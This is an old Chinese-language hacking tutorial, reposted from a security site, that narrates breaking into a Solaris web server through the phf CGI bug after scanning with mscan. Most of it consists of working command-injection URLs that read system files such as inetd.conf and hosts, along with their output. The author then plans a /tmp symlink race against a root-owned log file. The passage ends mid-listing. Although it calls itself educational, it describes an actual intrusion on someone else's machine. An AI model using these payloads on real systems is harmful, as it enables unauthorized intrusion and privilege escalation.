攻克UNIX系统速成

/ns/hk/hacker/data/20010414003133.htm

下面的文章只是个教育,告诉你在网上开服务,是一点马虎不得的.一点小的
问题都可能导致很糟糕的后果,看之前,我假设你已经有了很丰富的unix以及
网络知识*/
废话少说,开始就进入课题.
首先,要用一个工具找你的目标,这样的工具在网上很容易就可以被找到.
一个著名的工具就是mscan.至于它的用法在它自己的README里有很详细
的说明,我就不解释了,当然,是英文的
mscan 会帮你找到一些有明显漏洞的远程主机,用-at参数得到的记录文件是可以
立即有结果的,根据我的经验,至少有50%的把握能搞定.
好了,为了开门红,先找最著名的phf bug吧.
test# more co.xx.log|grep phf|more
xx.xx.xx.xx VULN: runs /cgi-bin/phf. haha!
....
....
哇塞!这么多,一个一个来!这个domain area的机器真是#@!#@.
先就第一个吧,首先,看看他用什么起的httpd.如果是root,那就没意思了
你想干什么就干什么,还黑个头啊.这里就把victim给 shadow吧,不然他也太没
面子了,当然,我不是坏蛋,国内的主机太弱,黑起来无趣.//shy. 国外的啦
test#lynx xx.xx.xx.xx/cgi-bin/phf?Qalias=x%0aid
Query Results

/usr/local/bin/ph -m alias=x id
uid=60001(nobody) gid=60001(nobody)
en..是nobody啊,这增加了点难度,不过没关系,越有难度的机器越有意思.
而且无论如何不是已经等于有shell了吗,接着来!看看victim运行了什么os.
test#lynx xx.xx.xx.xx/cgi-bin/phf?Qalias=x%0auname%20-a
Query Results

/usr/local/bin/ph -m alias=x uname -a
SunOS host1 5.5 Generic sun4m sparc SUNW,SPARCstation-4
en..是sun solaris 2.5,sun公司的bug可不少啊,不过到现在为止我们还没有
上去获得 shell,那么,再看看这个机器上跑了什么服务.
test#lynx xx.xx.xx.xx/cgi-bin/phf?Qalias=x%0acat%20/etc/inet/inetd.conf
下面的结果太多了,我就挑选几个有用的吧
#OLD#telnet stream tcp nowait root /usr/sbin/in.telnetd in.teln
etd
#OLD#ftp stream tcp nowait root /usr/local/etc/ftpd in.ftpd
#TIS#ftp stream tcp nowait root /usr/local/etc/netacl in.ftpd
#TIS#telnet stream tcp nowait root /usr/local/etc/netacl in.telne
d
ftp stream tcp nowait root /usr/sbin/in.ftpd in.ftpd
telnet stream tcp nowait root /usr/sbin/in.telnetd in.telnetd

shell stream tcp nowait root /usr/sbin/in.rshd in.rshd
login stream tcp nowait root /usr/sbin/in.rlogind in.rlogind
exec stream tcp nowait root /usr/sbin/in.rexecd in.rexecd
en..看样子似乎没防备,不过不应该这么简单的,看看它的hosts.
test#lynx xx.xx.xx.xx/cgi-bin/phf?Qalias=x%0acat%20/etc/inet/hosts
127.0.0.1 localhost
xx.xx.xx.xx host1 loghost
xx.xx.xx.x host1-gw-firewall
呵呵,有firewall啊,这就有点头疼了,看看这个firewall上允许什么服务穿越.
test#telnet xxxx.xx.xx.xx
Trying xx.xx.xx.xx..........
test#rlogin -l root xxx.xx.xx.x
test#ftp xxx.xx.xx.xx
test#rpcinfo -p xx.xx.xx.xx
乖乖龙的,没反应
en.看来是不允许外来的任何服务的,麻烦!只好用phf来慢慢看看.当然也不
是没有可能黑不掉,but管理员如果太信任firewall,就容易出差错.
虽然可以利用这个phf来搞一个exploit,但是比较麻烦,我们先来看symlink.

test#lynx xx.xx.xx.xx/cgi-bin/phf?Qalias=x%0als%20-la%20/tmp
Query Results

/usr/local/bin/ph -m alias=x ls -la /tmp
total 26
drwxrwxrwt 2 sys sys 109 Apr 24 04:05 .
drwxr-xr-x 25 root root 1024 Apr 24 13:38 ..
-rw-rw-r-- 1 root sys 4856 Mar 25 18:39 ps_data
-rw-rw-rw- 1 root root 0 Apr 24 02:17 license_log
嘿嘿,有门,这个license_log的属主是root,看来这个管理员没注意lincese_serve
的tmp race问题.好,再看看它是不是已经在/下面放了.rhosts来防备这个问题.
(这里知道看/tmp.或者/var/tmp是经验啦,不是瞎蒙的,至于什么/etc/passwd
我没什么兴趣,反正上不去,看了也没用,现在phf就等于有一个户头了)

test# lynx xx.xx.xx.xx/cgi-bin/phf?Qalias=x%0als%20-la%20/
Query Results

/usr/local/bin/ph -m alias=x ls -la /
total 621
drwxr-xr-x 25 root root 1024 Apr 24 13:38 .
drwxr-xr-x 25 root root 1024 Apr 24 13:38 ..
-rw-r--r-- 1 root


自:小铭安全基地 http://www.cnhome.net/